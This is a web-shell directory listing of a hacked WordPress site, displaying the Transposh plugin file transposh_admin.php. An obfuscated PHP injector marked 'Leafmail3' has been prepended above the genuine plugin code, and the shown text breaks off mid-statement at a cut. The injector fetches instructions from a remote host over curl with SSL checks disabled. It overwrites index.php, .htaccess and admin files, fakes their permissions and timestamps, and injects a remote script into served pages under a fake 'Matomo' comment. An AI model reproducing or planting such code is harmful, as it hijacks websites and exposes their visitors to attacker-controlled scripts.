0byt3m1n1
Path:
/
home1
/
aserty
/
public_html
/
bonniescraftygifts.com
/
iFzj4
/
configCHM
/
Jump
/
0-aserty
/
beatlesmontreal.com
/
wp-contentebbd3f
/
uploads
/
wp-content
/
plugins
/
transposh-translation-filter-for-wordpress
/
wp
/
[
Home
]
File: transposh_admin.php
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> <?php /* * Transposh v0.9.2 * http://transposh.org/ * * Copyright 2013, Team Transposh * Licensed under the GPL Version 2 or higher. * http://transposh.org/license * * Date: Mon, 11 Mar 2013 02:28:05 +0200 */ /* * Provide the admin page for configuring the translation options. eg. what languages ? * who is allowed to translate ? * * adapted metabox sample code from http://www.code-styling.de/ */ define('TR_NONCE', "transposh_nonce"); // class that reperesent the admin page class transposh_plugin_admin { /** @var transposh_plugin $transposh father class */ private $transposh; private $localeright = 'right'; private $localeleft = 'left'; private $pages = array(); private $page = ''; // constructor of class, PHP4 compatible construction for backward compatibility function transposh_plugin_admin(&$transposh) { $this->transposh = &$transposh; // add our notices add_action('admin_notices', array(&$this, 'notices')); // register callback for admin menu setup add_action('admin_menu', array(&$this, 'admin_menu')); // register the callback been used if options of page been submitted and needs to be processed add_action('admin_post_save_transposh', array(&$this, 'on_save_changes')); // allow language change for comments add_filter('comment_row_actions', array(&$this, 'comment_row_actions'), 999, 2); // register ajax callbacks add_action('wp_ajax_tp_close_warning', array(&$this, 'on_ajax_tp_close_warning')); add_action('wp_ajax_tp_reset', array(&$this, 'on_ajax_tp_reset')); add_action('wp_ajax_tp_backup', array(&$this, 'on_ajax_tp_backup')); add_action('wp_ajax_tp_restore', array(&$this, 'on_ajax_tp_restore')); add_action('wp_ajax_tp_maint', array(&$this, 'on_ajax_tp_maint')); add_action('wp_ajax_tp_cleanup', array(&$this, 'on_ajax_tp_cleanup')); add_action('wp_ajax_tp_translate_all', array(&$this, 'on_ajax_tp_translate_all')); add_action('wp_ajax_tp_post_phrases', array(&$this, 'on_ajax_tp_post_phrases')); add_action('wp_ajax_tp_comment_lang', array(&$this, 'on_ajax_tp_comment_lang')); } /** * Indicates whether the given role can translate. * Return either "checked" or "" */ function can_translate($role_name) { if ($role_name != 'anonymous') { $role = $GLOBALS['wp_roles']->get_role($role_name); if (isset($role) && $role->has_cap(TRANSLATOR)) return true; } else return $this->transposh->options->allow_anonymous_translation; } /** * Handle newly posted admin options. */ function update_admin_options() { tp_logger('Enter', 1); tp_logger($_POST); switch ($_POST['page']) { case 'tp_langs': $viewable_langs = array(); // first set the default language list ($langcode, ) = explode(",", $_POST['languages'][0]); $this->transposh->options->default_language = $langcode; unset($_POST['languages'][0]); // update the list of supported/editable/sortable languages tp_logger($_POST['languages']); foreach ($_POST['languages'] as $lang) { list ($langcode, $viewable) = explode(",", $lang); $sorted_langs[$langcode] = $langcode; if ($viewable) { $viewable_langs[$langcode] = $langcode; } } $this->transposh->options->viewable_languages = implode(',', $viewable_langs); $this->transposh->options->sorted_languages = implode(',', $sorted_langs); break; case "tp_settings": //update roles and capabilities foreach ($GLOBALS['wp_roles']->get_names() as $role_name => $something) { $role = $GLOBALS['wp_roles']->get_role($role_name); if (isset($_POST[$role_name]) && $_POST[$role_name] == "1") $role->add_cap(TRANSLATOR); else $role->remove_cap(TRANSLATOR); } // anonymous needs to be handled differently as it does not have a role tp_logger($_POST['anonymous']); $this->transposh->options->allow_anonymous_translation = $_POST['anonymous']; $this->transposh->options->enable_default_translate = TP_FROM_POST; $this->transposh->options->enable_search_translate = TP_FROM_POST; $this->transposh->options->transposh_gettext_integration = TP_FROM_POST; $this->transposh->options->transposh_locale_override = TP_FROM_POST; // We will need to refresh rewrite rules for the case someone enabled in wordpress first after transposh // install and then went on to transposh and enabled, and this keeps us safe ;) if ($this->transposh->options->enable_permalinks != $_POST[$this->transposh->options->enable_permalinks_o->get_name()]) { $this->transposh->options->enable_permalinks = TP_FROM_POST; $GLOBALS['wp_rewrite']->flush_rules(); } $this->transposh->options->enable_footer_scripts = TP_FROM_POST; $this->transposh->options->enable_detect_redirect = TP_FROM_POST; $this->transposh->options->transposh_collect_stats = TP_FROM_POST; $this->transposh->options->transposh_backup_schedule = TP_FROM_POST; // handle the backup change, create the hook wp_clear_scheduled_hook('transposh_backup_event'); if ($this->transposh->options->transposh_backup_schedule) wp_schedule_event(time(), 'daily', 'transposh_backup_event'); $this->transposh->options->transposh_key = TP_FROM_POST; break; case "tp_engines": $this->transposh->options->enable_autotranslate = TP_FROM_POST; $this->transposh->options->enable_autoposttranslate = TP_FROM_POST; $this->transposh->options->msn_key = TP_FROM_POST; $this->transposh->options->google_key = TP_FROM_POST; $this->transposh->options->preferred_translator = TP_FROM_POST; $this->transposh->options->oht_id = TP_FROM_POST; $this->transposh->options->oht_key = TP_FROM_POST; break; case "tp_widget": $this->transposh->options->widget_progressbar = TP_FROM_POST; $this->transposh->options->widget_allow_set_deflang = TP_FROM_POST; $this->transposh->options->widget_remove_logo = TP_FROM_POST; $this->transposh->options->widget_theme = TP_FROM_POST; break; case "tp_advanced": $this->transposh->options->enable_url_translate = TP_FROM_POST; $this->transposh->options->jqueryui_override = TP_FROM_POST; $this->transposh->options->parser_dont_break_puncts = TP_FROM_POST; $this->transposh->options->parser_dont_break_numbers = TP_FROM_POST; $this->transposh->options->parser_dont_break_entities = TP_FROM_POST; $this->transposh->options->debug_enable = TP_FROM_POST; $this->transposh->options->debug_loglevel = TP_FROM_POST; $this->transposh->options->debug_logfile = TP_FROM_POST; $this->transposh->options->debug_remoteip = TP_FROM_POST; break; } /* */ $this->transposh->options->update_options(); } function admin_menu() { // key is page name, first is description, second is side menu description, third is if this contains settings $this->pages = array( 'tp_main' => array(__('Dashboard', TRANSPOSH_TEXT_DOMAIN)), 'tp_langs' => array(__('Languages', TRANSPOSH_TEXT_DOMAIN), '', true), 'tp_settings' => array(__('Settings', TRANSPOSH_TEXT_DOMAIN), '', true), 'tp_engines' => array(__('Translation Engines', TRANSPOSH_TEXT_DOMAIN), '', true), 'tp_widget' => array(__('Widgets settings', TRANSPOSH_TEXT_DOMAIN), '', true), 'tp_advanced' => array(__('Advanced', TRANSPOSH_TEXT_DOMAIN), '', true), 'tp_utils' => array(__('Utilities', TRANSPOSH_TEXT_DOMAIN)), 'tp_about' => array(__('About', TRANSPOSH_TEXT_DOMAIN)), 'tp_support' => array(__('Support', TRANSPOSH_TEXT_DOMAIN)), ); if 